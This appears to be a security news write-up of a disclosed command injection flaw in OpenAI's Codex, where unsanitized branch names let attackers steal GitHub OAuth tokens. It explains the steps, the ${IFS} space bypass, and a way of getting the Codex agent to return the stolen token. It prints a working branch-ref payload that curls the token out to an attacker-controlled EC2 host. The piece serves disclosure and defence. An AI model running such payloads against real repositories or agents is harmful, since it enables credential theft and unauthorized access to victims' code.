BeyondTrust Phantom Labs disclosed a critical command injection vulnerability in OpenAI's Codex cloud environment on March 30, 2026. The vulnerability allowed attackers to steal GitHub OAuth tokens by injecting shell commands through a branch name parameter. A branch name. That is where the entire attack starts. The flaw affected every Codex surface: the ChatGPT website, Codex CLI, Codex SDK, and the Codex IDE Extension. OpenAI classified it as Critical (Priority 1) and remediated all issues by February 5, 2026, following responsible disclosure that began December 16, 2025. No CVE has been assigned. How an unsanitized branch name became arbitrary code execution ​ OpenAI Codex is a cloud-based coding agent accessible through ChatGPT. Developers connect a GitHub repository, submit a prompt, and Codex spins up a managed container to execute the task. The container clones the repository during setup using a GitHub OAuth token embedded in the git remote URL. That token is live and has network access during the setup phase. It gets removed before the agent phase begins, but during setup, it is there. The ChatGPT Codex Connector GitHub application requests read and write access to repositories, workflows, actions, issues, and pull requests. When authorized within a GitHub organization, it gains access to private organizational resources. That scope becomes important later. When a user submits a task, Codex sends an HTTP POST request to https://chatgpt.com/backend-api/wham/tasks containing the environment identifier, the branch name, and the prompt text. On the backend, that branch name is passed directly into shell commands during container initialization, most critically a git fetch operation, without sanitization or quoting. Shell metacharacters like ; , && , | , $() , and backticks in the branch name are interpreted literally by Bash. That is a command injection. BeyondTrust researcher Tyler Jespersen confirmed the injection by passing "-1" as the branch name. The container raised an error in the Codex environment logs, proving the input flowed unsanitized into the execution context. From there, crafting a payload to exfiltrate the GitHub OAuth token was straightforward: Set the branch to main Append a semicolon to terminate the git command Inject a second command that writes the output of git remote get-url origin (which contains the cleartext OAuth token) to a file Ask the Codex agent via the prompt to read and return that file's contents The task output in the Codex web portal returned the cleartext GitHub OAuth token . That is the whole attack. A semicolon and a backtick subshell. An attacker could then use this token to authenticate to GitHub as the victim, with whatever repository permissions that user holds. As Kinnaird McQuade, Chief Security Architect at BeyondTrust, stated : "This granted lateral movement and read/write access to a victim's entire codebase." The ${IFS} bypass: getting shell commands past GitHub's branch naming rules ​ GitHub blocks literal spaces in branch names. That would normally prevent multi-word shell commands from appearing in a branch ref. But Bash has ${IFS} . ${IFS} is the Internal Field Separator variable. In Bash, it defaults to a space, tab, and newline. When used inside a command string, ${IFS} evaluates to a space at runtime. GitHub's branch naming validation does not block ${IFS} because it is not a space character in the string. It is a valid sequence of alphanumeric characters, curly braces, and a dollar sign. So every space in the payload gets replaced with ${IFS} , producing branch names that pass GitHub's validation but execute as full shell commands inside Codex's container. GitHub sees a valid branch name. Bash sees a command. Automated token exfiltration through GitHub's API ​ The automated variant required no interaction with the Codex UI at all. An attacker with write access to a repository creates a malicious branch via the GitHub API endpoint https://api.github.com/repos/myorg/myrepo/git/refs with the following ref payload: refs/heads/main;curl${IFS}'ec2-51-388-32-123.compute-1.amazonaws.com/'`git${IFS}-C${IFS}/workspace/TylersTestRepo${IFS}remote${IFS}get-url${IFS}origin`; This payload: Terminates the intended git command with a semicolon Executes curl to send a request to an attacker-controlled AWS EC2 instance Uses a backtick subshell to extract the git remote URL (containing the embedded OAuth token) via git remote get-url origin Replaces every space with ${IFS} to bypass GitHub's branch naming restrictions Any Codex user who runs a task against that branch has their GitHub token silently forwarded to the attacker's server. The victim does nothing wrong. They use Codex exactly as intended. BeyondTrust confirmed the full chain by setting up a simple HTTP server on EC2 and observing the exfiltrated token arrive in the access logs. Unicode obfuscation made the payload invisible in the UI ​ Staff Security Researcher Simon Stewart contributed a stealth techn...